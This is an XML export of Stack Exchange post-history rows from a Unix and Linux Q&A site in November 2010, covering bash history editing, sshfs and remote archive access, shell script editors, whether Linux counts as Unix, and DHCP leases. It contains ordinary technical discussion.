  <row Id="8860" PostHistoryTypeId="5" PostId="4053" RevisionGUID="25bffbb6-1b4f-4559-bbbb-b298a6f0e702" CreationDate="2010-11-15T14:10:09.663" UserId="2648" Comment="added 1 characters in body" Text="Well some of the programs include:&#xD;&#xA;&lt;br&gt;- f-spot&#xD;&#xA;&lt;br&gt;- gthumb&#xD;&#xA;&lt;br&gt;- picasa&#xD;&#xA;&#xD;&#xA;They are easy to use but their options are pretty poor comparing to Inkscape or Gimp (even though Inscape is used for vector editing and Gimp for raster).&#xD;&#xA;&#xD;&#xA;Have in mind that Gimp is **worth** of trying a little harder since when you master the basic funcionts in it will boost your image editing on daily basis. If you dont like current UI of Gimp, use v2.7 to get single window UI (like photoshop). Check this out for Gimp:&#xD;&#xA;http://www.tuxradar.com/gimp . There you can get a bunch of nice and free PDFs for Gimp usage and stuff." />
  <row Id="8861" PostHistoryTypeId="2" PostId="4079" RevisionGUID="7a5be68e-83be-4c1c-ba3a-54ede0579fb8" CreationDate="2010-11-15T14:34:45.110" UserId="1325" Text="Hi,&#xD;&#xA; &#xD;&#xA; I use !n where (n) is the line number for executing a line in the history file I want executed at the command prompt which I find via history|less. &#xD;&#xA;&#xD;&#xA; But there is a command line history event I wish to manually modify. How can I insert into the command line a history events contents without it actually executing so I can modify and then press return?&#xD;&#xA;&#xD;&#xA;Best," />
  <row Id="8862" PostHistoryTypeId="1" PostId="4079" RevisionGUID="7a5be68e-83be-4c1c-ba3a-54ede0579fb8" CreationDate="2010-11-15T14:34:45.110" UserId="1325" Text="put history command onto command line without executing it" />
  <row Id="8863" PostHistoryTypeId="3" PostId="4079" RevisionGUID="7a5be68e-83be-4c1c-ba3a-54ede0579fb8" CreationDate="2010-11-15T14:34:45.110" UserId="1325" Text="écommandölineàébashàécommandöhistoryà" />
  <row Id="8864" PostHistoryTypeId="2" PostId="4080" RevisionGUID="5214e702-a1a0-4ebf-9640-d44a6c3312bd" CreationDate="2010-11-15T14:47:10.177" UserId="2000" Text="If you use bash, just edit ~/.bash_history, add whatever command you want into it and close / reopen the console (or logout/login if you are in cli only)." />
  <row Id="8867" PostHistoryTypeId="5" PostId="3922" RevisionGUID="23628431-5d5a-4928-aa1f-fd3d88713f94" CreationDate="2010-11-15T15:28:45.103" UserId="393" Comment="added 43 characters in body; added 3 characters in body; deleted 4 characters in body" Text="when installed :&#xD;&#xA;&#xD;&#xA;[fortune][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/6/fortune" />
  <row Id="8868" PostHistoryTypeId="5" PostId="4078" RevisionGUID="ffc5cb34-8652-46d0-995a-8c7a5c7f85c1" CreationDate="2010-11-15T15:35:08.357" UserId="2669" Comment="added 2 characters in body" Text="My graphic card has two output (VGA and DVI). Is it possible to switch from one to the other without rebooting ?&#xD;&#xA;&#xD;&#xA;It works in Xorg by restarting the X server (I guess it should be doable with `xrandr` too) but I'd like to do it in the **linux console**.&#xD;&#xA;&#xD;&#xA;I have looked at [vbetool][1] but I am not sure it is the right way (the commands I tried did not work anyway).&#xD;&#xA;&#xD;&#xA;I have a nvidia card.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codon.org.uk/~mjg59/vbetool/" />
  <row Id="8869" PostHistoryTypeId="2" PostId="4082" RevisionGUID="d8563200-47fb-4af3-87a4-138a6f3c5e6a" CreationDate="2010-11-15T15:49:17.660" UserId="2661" Text="Using `Ctrl+r` you can search history:&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ &#xD;&#xA;    (reverse-i-search)`xran': xrandr -o normal&#xD;&#xA;&#xD;&#xA;Any command that you find could be edited...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8870" PostHistoryTypeId="2" PostId="4083" RevisionGUID="92da1f23-6b1d-4632-bf90-341fa3f4fc45" CreationDate="2010-11-15T16:06:06.863" UserId="2661" Text="You can access remote files using `fish://` or `sftp://` with every KDE application. For example you can connect to the remote host using file managers like Dolphin or Konqueror and after that every file that you click will be open (in KDE app) like it was file on your local drive. Archives will be opened in Ark (KDE archive manager). And of course you can open archives directly in Ark (`File -&gt; Open -&gt; sftp://remotehost/path/to/file`)...&#xD;&#xA;&#xD;&#xA;Another alternative that I know, that it works is Emacs... ;) But before you try it you should look at [Emacs learning curve][1]... ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bc.tech.coop/blog/images/curves.jpg" />
  <row Id="8871" PostHistoryTypeId="5" PostId="4082" RevisionGUID="ff4b001f-17e7-4f8d-83db-944f81cadda6" CreationDate="2010-11-15T16:48:42.227" UserId="2661" Comment="added 177 characters in body" Text="Using `Ctrl+r` you can search history:&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ &#xD;&#xA;    (reverse-i-search)`xran': xrandr -o normal&#xD;&#xA;&#xD;&#xA;Any command that you find could be edited...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I think that I found exactly what you need: run `shopt -s histverify` and next time when you want to use `!n` command will be not executed but only put to command line..." />
  <row Id="8872" PostHistoryTypeId="2" PostId="4084" RevisionGUID="e2c8f1c9-8107-48c8-9605-c1a88681c6d2" CreationDate="2010-11-15T17:34:12.403" UserId="1779" Text="    xargs -a packages sudo apt-get remove&#xD;&#xA;&#xD;&#xA;will direct `xargs` to read arguments from `packages`, and so it will leave stdin unmolested." />
  <row Id="8873" PostHistoryTypeId="5" PostId="3899" RevisionGUID="3987b356-a2c5-4092-be15-ad4e0977ebd7" CreationDate="2010-11-15T18:33:32.103" UserId="4" Comment="**Update**: For the record, @Giles answer is better." Text="**Update**: For the record, @Giles answer is better.&#xD;&#xA;&#xD;&#xA;If it's a PATA (ide) drive, then you will see it under `/proc/ide`. Here is my IDE DVD-Drive, for example.&#xD;&#xA;&#xD;&#xA;    $ cat /proc/ide/hdb/model &#xD;&#xA;    Optiarc CDRWDVD CRX890A&#xD;&#xA;&#xD;&#xA;If it is a SATA drive, it will show up under `/proc/scsi`. You might be surprised to find it under 'scsi'. I forget the exact reason (I'm going to ask that in another question), but I think that is because SATA uses the SCSI drivers.&#xD;&#xA;&#xD;&#xA;Here's a list showing a SATA drive on my system:&#xD;&#xA;&#xD;&#xA;    $ cat /proc/scsi/scsi &#xD;&#xA;    Attached devices:&#xD;&#xA;    Host: scsi0 Channel: 00 Id: 00 Lun: 00&#xD;&#xA;      Vendor: ATA      Model: WDC WD2500AAJS-6 Rev: 01.0&#xD;&#xA;      Type:   Direct-Access                    ANSI  SCSI revision: 05&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8874" PostHistoryTypeId="2" PostId="4085" RevisionGUID="d43c10f6-3867-4c3f-a5fe-c909d92043e7" CreationDate="2010-11-15T19:59:24.577" UserId="885" Text="It Works For Me™. Gnome applications have built-in support for file access over ssh through [Gvfs](http://en.wikipedia.org/wiki/Gvfs) (formerly [Gnome-VFS](http://en.wikipedia.org/wiki/GnomeVFS)).&#xD;&#xA;&#xD;&#xA;Another way to access files over ssh is [sshfs](http://fuse.sourceforge.net/sshfs.html). It requires an OS that supports [FUSE](http://fuse.sourceforge.net/), but most unices (Linux, Mac OS X, *BSD, Solaris, …) do these days. Since the files are presented through the ordinary filesystem interface, no specific application support is required. I don't know if there's a GUI wrapper for it; the command-line workflow is&#xD;&#xA;&#xD;&#xA;    mkdir ~/example.com&#xD;&#xA;    sshfs example.com:/path/to/directory ~/example.com&#xD;&#xA;    file-roller ~/example.com/foo.zip&#xD;&#xA;    # ...&#xD;&#xA;    fusermount -u ~/example.com&#xD;&#xA;" />
  <row Id="8875" PostHistoryTypeId="2" PostId="4086" RevisionGUID="c5575de3-d50c-407c-970a-4e6592f44c41" CreationDate="2010-11-15T20:19:09.483" UserId="885" Text="To request that the command be printed rather than executed after history substitution, add the `:p` [modifier](http://www.gnu.org/software/bash/manual/bash.html#Modifiers), e.g. `!42:r`. The resulting command will also be entered in the history, so you can press &lt;kbd&gt;Up&lt;/kbd&gt; to edit it.&#xD;&#xA;&#xD;&#xA;If you have the `histverify` [option](http://www.gnu.org/software/bash/manual/bash.html#Modifying-Shell-Behavior) set (`shopt -s histverify`), you will always have the opportunity to edit the result of history substitutions.&#xD;&#xA;&#xD;&#xA;The [`fc` builtin](http://www.gnu.org/software/bash/manual/bash.html#Bash-History-Builtins) gives limited access to history expansion (no word designators), and lets you edit a previous command in an external editor.&#xD;&#xA;&#xD;&#xA;You can use `!prefix` to refer to the last command beginning with `prefix`, and `!?substring` to refer to the last command beginning with `substring`. When you know what you're looking for, this can save a lot of time over `history | less`.&#xD;&#xA;&#xD;&#xA;Another way to search through previous history is incremental search: press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; and start entering a substring of what you're looking for. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; to go to the previous occurence of the search string so far and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; if you've gone too far. Most keys other than &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;Backspace&lt;/kbd&gt; and ordinary characters terminate the incremental search and have their usual effect (e.g. arrow keys to move the cursor in the line you've reached, &lt;kbd&gt;Enter&lt;/kbd&gt; to run the command).&#xD;&#xA;" />
  <row Id="8876" PostHistoryTypeId="5" PostId="4086" RevisionGUID="a9e280c2-7d3a-417a-941c-ab89af7950b4" CreationDate="2010-11-15T20:27:27.053" UserId="885" Comment="fixed typo" Text="To request that the command be printed rather than executed after history substitution, add the `:p` [modifier](http://www.gnu.org/software/bash/manual/bash.html#Modifiers), e.g. `!42:p`. The resulting command will also be entered in the history, so you can press &lt;kbd&gt;Up&lt;/kbd&gt; to edit it.&#xD;&#xA;&#xD;&#xA;If you have the `histverify` [option](http://www.gnu.org/software/bash/manual/bash.html#Modifying-Shell-Behavior) set (`shopt -s histverify`), you will always have the opportunity to edit the result of history substitutions.&#xD;&#xA;&#xD;&#xA;The [`fc` builtin](http://www.gnu.org/software/bash/manual/bash.html#Bash-History-Builtins) gives limited access to history expansion (no word designators), and lets you edit a previous command in an external editor.&#xD;&#xA;&#xD;&#xA;You can use `!prefix` to refer to the last command beginning with `prefix`, and `!?substring` to refer to the last command beginning with `substring`. When you know what you're looking for, this can save a lot of time over `history | less`.&#xD;&#xA;&#xD;&#xA;Another way to search through previous history is incremental search: press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; and start entering a substring of what you're looking for. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; to go to the previous occurence of the search string so far and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; if you've gone too far. Most keys other than &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;Backspace&lt;/kbd&gt; and ordinary characters terminate the incremental search and have their usual effect (e.g. arrow keys to move the cursor in the line you've reached, &lt;kbd&gt;Enter&lt;/kbd&gt; to run the command).&#xD;&#xA;" />
  <row Id="8877" PostHistoryTypeId="5" PostId="4075" RevisionGUID="a42a200e-a1b9-4fc4-9929-c904b58ef655" CreationDate="2010-11-15T21:06:39.453" UserId="688" Comment="added 22 characters in body" Text="I'm using `file-roller` and it doesn't work well when my archive file is accessed via ssh (it throws an error when I try to open it). Any alternatives?" />
  <row Id="8878" PostHistoryTypeId="6" PostId="4075" RevisionGUID="a08f376e-a12f-46b5-8474-5e34847adf4e" CreationDate="2010-11-15T21:54:13.390" UserId="885" Comment="edited tags" Text="ésoftwareörecàéarchiveà" />
  <row Id="8879" PostHistoryTypeId="2" PostId="4087" RevisionGUID="514a45a6-9ff7-4375-960e-3b933cac47a5" CreationDate="2010-11-15T21:57:00.710" UserId="2287" Text="I'm using vim, but i really need to set it up and/or install plugins. Plugin suggestions welcome. Either way i'd like to see which editors/IDEs are there for this job." />
  <row Id="8880" PostHistoryTypeId="1" PostId="4087" RevisionGUID="514a45a6-9ff7-4375-960e-3b933cac47a5" CreationDate="2010-11-15T21:57:00.710" UserId="2287" Text="What is your favourite shell script GUI/CLI editor and why?" />
  <row Id="8881" PostHistoryTypeId="3" PostId="4087" RevisionGUID="514a45a6-9ff7-4375-960e-3b933cac47a5" CreationDate="2010-11-15T21:57:00.710" UserId="2287" Text="ébashàéeditorsà" />
  <row Id="8882" PostHistoryTypeId="2" PostId="4088" RevisionGUID="5c9638ce-be9c-4c52-9ff2-b4c2cb85f1b4" CreationDate="2010-11-15T22:04:26.897" UserId="2287" Text="It really depends of what distros you are putting there. Some of them do some nasty stuff in the initramfs so it gets difficult. Some live distros search for a label, some search for uuid. You cannot provide that.&#xD;&#xA;&#xD;&#xA;The solution is not easy, you should build new customised ramdisks for your live distros.&#xD;&#xA;&#xD;&#xA;i hope i didn't get it wrong :D" />
  <row Id="8883" PostHistoryTypeId="2" PostId="4089" RevisionGUID="b9bae573-e8f7-4c40-94f7-6a606468babe" CreationDate="2010-11-15T22:27:56.717" UserId="2613" Text="I love [**Geany**][1]&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;It's a quick GUI editor that can manage small projects if necessary (it can remember list of files and a few other neat things). It supports many syntax highlighting including Shell scripting.&#xD;&#xA;&#xD;&#xA;It supports plug-ins, and I have used the VC (version control) plug-in once, but the basic features of Geany are enough for most of the work I do with it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.geany.org&#xD;&#xA;  [2]: http://i.imgur.com/C6KgX.png" />
  <row Id="8884" PostHistoryTypeId="2" PostId="4090" RevisionGUID="0a9f933d-001e-4027-a90f-ae781a312f8f" CreationDate="2010-11-15T22:33:25.523" UserId="2613" Text="Another cool editor, though the UI looks a bit old now, is [**Nedit**][1].&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;It is more powerful than Geany as it can support `ctags` which you can use to navigate through your code (finding the definition of a function or variable, etc.)&#xD;&#xA;&#xD;&#xA;It's really light-weight, fast to launch. However, the user experience might not please everyone.&#xD;&#xA;&#xD;&#xA;I have been using it for a long period to develop shell and C/C++ code. Though I use more now Geany and Eclipse CDT for these purposes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nedit.org/&#xD;&#xA;  [2]: http://i.imgur.com/UoXHm.gif" />
  <row Id="8885" PostHistoryTypeId="2" PostId="4091" RevisionGUID="db1d4ee1-f4cd-4f77-a927-289002a1609e" CreationDate="2010-11-15T22:38:39.330" UserId="2180" Text="So, there are lots of different versions of Unix out there: HP-UX, AIX, BSD, etc. Linux is considered a Unix clone rather than an implementation of Unix. Are all the &quot;real&quot; Unices actual descendants of the original? If not, what separates Linux from Unix?" />
  <row Id="8886" PostHistoryTypeId="1" PostId="4091" RevisionGUID="db1d4ee1-f4cd-4f77-a927-289002a1609e" CreationDate="2010-11-15T22:38:39.330" UserId="2180" Text="Is Linux a Unix?" />
  <row Id="8887" PostHistoryTypeId="3" PostId="4091" RevisionGUID="db1d4ee1-f4cd-4f77-a927-289002a1609e" CreationDate="2010-11-15T22:38:39.330" UserId="2180" Text="élinuxàécommandöhistoryàéunixà" />
  <row Id="8888" PostHistoryTypeId="2" PostId="4092" RevisionGUID="af6ee65b-a9c2-490b-bb2d-2f95202abec5" CreationDate="2010-11-15T22:40:30.320" UserId="2626" Text="**gedit** can be a great editor when extended with **gedit-plugins** &lt;br/&gt;" />
  <row Id="8889" PostHistoryTypeId="2" PostId="4093" RevisionGUID="51d324ec-b086-4ca3-bb54-45a43a8c3503" CreationDate="2010-11-15T22:42:21.770" UserId="2613" Text="You could try to use the following command juts after calling the ssh-keygen command:&#xD;&#xA;&#xD;&#xA;`ssh-copy-id -i id_rsa.pub localhost`&#xD;&#xA;&#xD;&#xA;It should copy your public key to the remote host (here your own computer as you used localhost) and activate it in the proper file.&#xD;&#xA;&#xD;&#xA;**Note**: Sometimes and with older version of sshd (the SSH serveur process) the file is named authorised_key, check you sshd man page for the exact name." />
  <row Id="8890" PostHistoryTypeId="5" PostId="4087" RevisionGUID="28c18299-9682-417b-a995-6ef7fffbc4e5" CreationDate="2010-11-15T22:44:10.310" UserId="2287" Comment="better explanation" Text="I'm using vim for editing bash scripts currently, but i really need to set it up and/or install plugins. Plugin suggestions welcome. Either way i'd like to see which editors/IDEs are there for this job." />
  <row Id="8891" PostHistoryTypeId="2" PostId="4094" RevisionGUID="bdc0fab0-988f-4430-968c-22d8575be7da" CreationDate="2010-11-15T22:54:37.153" UserId="2629" Text="Linux is more 'Unix-like' so yes simplistically you could call it a clone, the same is true for BSDs (although admittedly BSDs could be considered closer to Unix than Linux).&#xD;&#xA;&#xD;&#xA;The main thing that gives Linux the Unix-like title is the fact that it is nearly fully compliant w/ [POSIX][1] (Portable Operating System Interface [for Unix]) standards that have built up over time.&#xD;&#xA;&#xD;&#xA;The other key thing, is the [inheritance of code etc][2], as demonstrated on Wikipedia, Linux does not actually originate from Unix sources, instead it is pretty much built from scratch (this is disputed however).&#xD;&#xA;&#xD;&#xA;So essentially, the main thing that separates Unix from Linux is the ancestry and the standards that it meets.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/POSIX&#xD;&#xA;  [2]: http://upload.wikimedia.org/wikipedia/commons/5/50/Unix_history-simple.png" />
  <row Id="8892" PostHistoryTypeId="2" PostId="4095" RevisionGUID="da2ed5d8-a8a2-4590-8e47-b40bbc50d3ff" CreationDate="2010-11-15T23:10:12.390" UserId="2341" Text="I use both BBEdit (Mac text editor) and vi(m).&#xD;&#xA;&#xD;&#xA;BBEdit has a command line counterpart which works great for integrating with the underside of the Mac and other CLI tools.&#xD;&#xA;&#xD;&#xA;vi(m) is on essentially every *nix system out there.&#xD;&#xA;&#xD;&#xA;Knowing vi(m) is beneficial due to its availability.&#xD;&#xA;&#xD;&#xA;Hope that helps with your search!&#xD;&#xA;&#xD;&#xA;Have a wonderful day.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;~ tim" />
  <row Id="8893" PostHistoryTypeId="2" PostId="4096" RevisionGUID="18345b81-865e-4876-af08-eb654557cdc4" CreationDate="2010-11-15T23:44:52.067" UserId="2287" Text="I found this: http://www.vim.org/scripts/script.php?script_id=365&#xD;&#xA;&#xD;&#xA;It is really good for bash scripting." />
  <row Id="8894" PostHistoryTypeId="2" PostId="4097" RevisionGUID="81f4fd42-663f-4537-b2a1-037c0e5730ce" CreationDate="2010-11-15T23:58:28.930" UserId="885" Text="That depends on what you mean by “Unix”, and by “Linux”.&#xD;&#xA;&#xD;&#xA;* [UNIX](http://en.wikipedia.org/wiki/Unix) is a [registered trade mark](http://www.unix.org/trademark.html) of [The Open Group](http://www.opengroup.org/). The trade mark has had an eventful history, and it's not completely clear that it's not genericized due to the widespread usage of “Unix” refering to Unix-like systems (see below). Currently the Open Group grants use of the trade mark to any system that passes a [Single UNIX](http://en.wikipedia.org/wiki/Single_UNIX_Specification) [certification](http://www.unix.org/what_is_unix/the_brand.html). See also [Why is there a * When There is Mention of Unix Throughout the Internet?](http://unix.stackexchange.com/questions/2342/).&#xD;&#xA;&#xD;&#xA;* [Unix](http://en.wikipedia.org/wiki/Unix) is an operating system that was born in 1969 at [Bell Labs](http://en.wikipedia.org/wiki/Bell_Labs). Various companies sold, and still sell, code derived from this original system, for example [AIX](http://en.wikipedia.org/wiki/AIX_operating_system), [HP-UX](http://en.wikipedia.org/wiki/HP-UX), [Solaris](http://en.wikipedia.org/wiki/Solaris_Operating_System). See also [Evolution of Operating systems from Unix](http://unix.stackexchange.com/q/3196/885).&#xD;&#xA;&#xD;&#xA;* There are many systems that are Unix-like, in that they offer similar interfaces to programmers, users and administrators. The oldest production system is the [Berkeley Software Distribution](http://en.wikipedia.org/wiki/Berkeley_Software_Distribution), which gradually evolved from Unix-based (i.e. containing code derived from the original implementation) to Unix-like (i.e. having a similar interface). There are many BSD-based or BSD-derived operating systems: [FreeBSD](http://en.wikipedia.org/wiki/FreeBSD), [NetBSD](http://en.wikipedia.org/wiki/NetBSD), [OpenBSD](http://en.wikipedia.org/wiki/OpenBSD), [Mac OS X](http://en.wikipedia.org/wiki/Mac_OS_X), etc. Other examples include [OSF/1](http://en.wikipedia.org/wiki/Tru64_UNIX) (now discontinued, it was a commercial Unix-like non-Unix-based system), [Minix](http://en.wikipedia.org/wiki/Minix) (originally a toy Unix-like operating system used as a teaching tool, now a production embedded Unix-like system), and most famously [Linux](http://en.wikipedia.org/wiki/Linux).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;* Strictly speaking, [Linux](http://en.wikipedia.org/wiki/Linux) is an operating system kernel that is designed like Unix's kernel.&#xD;&#xA;&#xD;&#xA;* [Linux](http://en.wikipedia.org/wiki/Linux) is most commonly used as a name of Unix-like operating systems that use Linux as their kernel. As many of the tools outside the kernel are part of the [GNU project](http://en.wikipedia.org/wiki/GNU), such systems are often known as [GNU/Linux](http://en.wikipedia.org/wiki/GNU/Linux_naming_controversy). All major [Linux distributions](http://en.wikipedia.org/wiki/Linux_distribution) consist of GNU/Linux and other software.&#xD;&#xA;&#xD;&#xA;* There are Linux-based Unix-like systems that don't use many GNU tools, especially in the embedded world, but I don't think any of them does away with GNU development tools, in particular [GCC](http://en.wikipedia.org/wiki/GNU_Compiler_Collection).&#xD;&#xA;&#xD;&#xA;* There are operating systems that have Linux as their kernel but are not Unix-like. The most well-known is [Android](http://en.wikipedia.org/wiki/Android_%28operating_system%29), which doesn't have a Unix-like user experience (though you can install a Unix-like command line) or administrator experience or (mostly) programmer experience (“native” Android programs use an API that is completely different from Unix).&#xD;&#xA;" />
  <row Id="8895" PostHistoryTypeId="2" PostId="4098" RevisionGUID="d7810fd9-b24a-4dad-887a-b3f454855ca1" CreationDate="2010-11-16T00:42:36.653" UserId="2287" Text="I really recommend using grub2 and uuids here.&#xD;&#xA;&#xD;&#xA;you can get uuid by &#xD;&#xA;&#xD;&#xA;ls -l /dev/disk/by-uuid" />
  <row Id="8896" PostHistoryTypeId="2" PostId="4099" RevisionGUID="629fc610-b584-4b05-82ce-ec0ac3388aa0" CreationDate="2010-11-16T00:46:34.137" UserId="2287" Text="It seems to me that wireless signal is low, but that doesn't explain why wicd works." />
  <row Id="8897" PostHistoryTypeId="2" PostId="4100" RevisionGUID="c5c11c13-bd03-4af5-917c-c7c9235fe4cc" CreationDate="2010-11-16T01:18:56.660" UserId="2682" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I have a linux DHCP server running on my network.&#xD;&#xA;i recently found out that i can assign specific ip address to clients based&#xD;&#xA;on their mac address by modifying the dhcpd.conf file.&#xD;&#xA;&#xD;&#xA;Now is there something i can do from the server side that would invalidate a &#xD;&#xA;specific clients lease forcing it to get a new one from the server (after i have added&#xD;&#xA;entries in dhcpd.conf) to make it get a particular ip address without releasing / renewing&#xD;&#xA;on the client side ?&#xD;&#xA;&#xD;&#xA;thank you,&#xD;&#xA;ankit" />
  <row Id="8898" PostHistoryTypeId="1" PostId="4100" RevisionGUID="c5c11c13-bd03-4af5-917c-c7c9235fe4cc" CreationDate="2010-11-16T01:18:56.660" UserId="2682" Text="Force dhcp client to get a new lease" />
  <row Id="8899" PostHistoryTypeId="3" PostId="4100" RevisionGUID="c5c11c13-bd03-4af5-917c-c7c9235fe4cc" CreationDate="2010-11-16T01:18:56.660" UserId="2682" Text="élinuxàédhcpà" />
  <row Id="8900" PostHistoryTypeId="2" PostId="4101" RevisionGUID="e02d00b8-3fa2-4bad-aee8-5e696db62b13" CreationDate="2010-11-16T03:41:43.403" UserId="2376" Text="You can use magic space to expand history before hitting enter. In your .inputrc, map space to magic space:&#xD;&#xA;&#xD;&#xA;    $if Bash&#xD;&#xA;         Space: magic-space&#xD;&#xA;    $endif&#xD;&#xA;&#xD;&#xA;Now, whenever you type a space after a history specification, it'll be immediately expanded - handy if you want to edit it, too!" />
  <row Id="8901" PostHistoryTypeId="2" PostId="4102" RevisionGUID="cd5bd378-f575-460c-a99a-ac57bfb172e8" CreationDate="2010-11-16T04:15:21.713" UserId="1335" Text="Emacs is rather good, there's been a built-in shell scripting mode for *some time*." />
  <row Id="8902" PostHistoryTypeId="5" PostId="4100" RevisionGUID="f4bb5db3-adc8-4bdb-a59a-82c4f759ec5d" CreationDate="2010-11-16T08:11:14.307" UserId="73" Comment="deleted 64 characters in body" Text="I have a linux DHCP server running on my network.&#xD;&#xA;I recently found out that I can assign specific IP addresses to clients based&#xD;&#xA;on their MAC address by modifying the `dhcpd.conf` file.&#xD;&#xA;&#xD;&#xA;Now is there something I can do from the server side that would invalidate a &#xD;&#xA;specific client's lease, forcing it to get a new one from the server (after I have added&#xD;&#xA;entries in `dhcpd.conf`), without releasing/renewing on the client side?&#xD;&#xA;" />
  <row Id="8903" PostHistoryTypeId="6" PostId="4091" RevisionGUID="0efb1848-0062-4cc7-9142-fef336305674" CreationDate="2010-11-16T08:14:31.433" UserId="73" Comment="edited tags" Text="élinuxàéunixàéhistoryà" />
  <row Id="8904" PostHistoryTypeId="6" PostId="3467" RevisionGUID="0d37b648-537d-4144-a3aa-c3f0f566a821" CreationDate="2010-11-16T08:14:37.657" UserId="73" Comment="edited tags" Text="ébashàércàéhistoryà" />
  <row Id="8905" PostHistoryTypeId="6" PostId="2342" RevisionGUID="07d9adcc-7935-4c8d-add0-97a5052a63ea" CreationDate="2010-11-16T08:14:43.787" UserId="73" Comment="edited tags" Text="éunixàéhistoryàéterminologyà" />
  <row Id="8906" PostHistoryTypeId="6" PostId="1740" RevisionGUID="21cca242-3391-4c5d-b089-0038d8c998c8" CreationDate="2010-11-16T08:14:51.010" UserId="73" Comment="edited tags" Text="éhistoryàéconventionsà" />
  <row Id="8907" PostHistoryTypeId="6" PostId="1262" RevisionGUID="ddc207ba-e985-4c00-aa41-6b465ea1b7bc" CreationDate="2010-11-16T08:14:58.983" UserId="73" Comment="edited tags" Text="ésudoàésuàéhistoryàéwheelà" />
  <row Id="8908" PostHistoryTypeId="6" PostId="190" RevisionGUID="2cf10cfe-be61-4aad-9b60-5b0728af0d56" CreationDate="2010-11-16T08:15:06.423" UserId="73" Comment="edited tags" Text="éhistoryàé64bità" />
  <row Id="8909" PostHistoryTypeId="5" PostId="1740" RevisionGUID="1832a529-817a-4f06-9d76-809c32b9810b" CreationDate="2010-11-16T08:30:56.483" UserId="73" Comment="deleted 123 characters in body; edited title" Text="Since [history questions are considered on topic][1], I figured I'd ask one that's been bugging me for quite some time and no one I know seems to know the answer. Does anyone know what the historical significance is of the prefix yy? Most of the variables and functions generated by lex start with it, such as `yylval`, and `yylex()`. I also remember seeing a utility named `yyrsa` somewhere, but can't find references to it anywhere now. Inquiring minds want to know!&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.unix.stackexchange.com/questions/73/are-history-questions-on-topic" />
  <row Id="8910" PostHistoryTypeId="4" PostId="1740" RevisionGUID="1832a529-817a-4f06-9d76-809c32b9810b" CreationDate="2010-11-16T08:30:56.483" UserId="73" Comment="deleted 123 characters in body; edited title" Text="Anyone know the meaning of yy?" />
  <row Id="8911" PostHistoryTypeId="2" PostId="4103" RevisionGUID="c31484a3-9dc4-4802-b86e-9edce37e051a" CreationDate="2010-11-16T08:32:10.053" UserId="29" Text="in kopete you can right click a group and send a message to the group. It also seems there's a hidden toplevel group that you can move users to. Is it possible to send a message to this toplevel group so that all users in your friends list receive it?" />
  <row Id="8912" PostHistoryTypeId="1" PostId="4103" RevisionGUID="c31484a3-9dc4-4802-b86e-9edce37e051a" CreationDate="2010-11-16T08:32:10.053" UserId="29" Text="Broadcast to all users in friends list with kopete?" />
  <row Id="8913" PostHistoryTypeId="3" PostId="4103" RevisionGUID="c31484a3-9dc4-4802-b86e-9edce37e051a" CreationDate="2010-11-16T08:32:10.053" UserId="29" Text="ékdeàékopeteà" />
  <row Id="8914" PostHistoryTypeId="2" PostId="4104" RevisionGUID="6aacb2a6-f6a8-40f2-b10f-b509b25f4218" CreationDate="2010-11-16T10:59:36.080" UserId="2655" Text="Why are there two programs for that?" />
  <row Id="8915" PostHistoryTypeId="1" PostId="4104" RevisionGUID="6aacb2a6-f6a8-40f2-b10f-b509b25f4218" CreationDate="2010-11-16T10:59:36.080" UserId="2655" Text="What is the difference between X and XFree?" />
  <row Id="8916" PostHistoryTypeId="3" PostId="4104" RevisionGUID="6aacb2a6-f6a8-40f2-b10f-b509b25f4218" CreationDate="2010-11-16T10:59:36.080" UserId="2655" Text="éxorgà" />
  <row Id="8917" PostHistoryTypeId="2" PostId="4105" RevisionGUID="7fd5d99b-6416-4fc4-98c0-d5378588f5f1" CreationDate="2010-11-16T11:02:26.263" UserId="29" Text="I want to see how many files are in subdirectories in there subdirectories to find out where all the inode usage is on the system. Kind of like I would do this for space usage&#xD;&#xA;&#xD;&#xA;    du -sh /*&#xD;&#xA;&#xD;&#xA;which will basically give me the amount of space used in the directories off root. but in this case I want the number of files, not the size." />
  <row Id="8918" PostHistoryTypeId="1" PostId="4105" RevisionGUID="7fd5d99b-6416-4fc4-98c0-d5378588f5f1" CreationDate="2010-11-16T11:02:26.263" UserId="29" Text="How do I count all the files recursively through directories" />
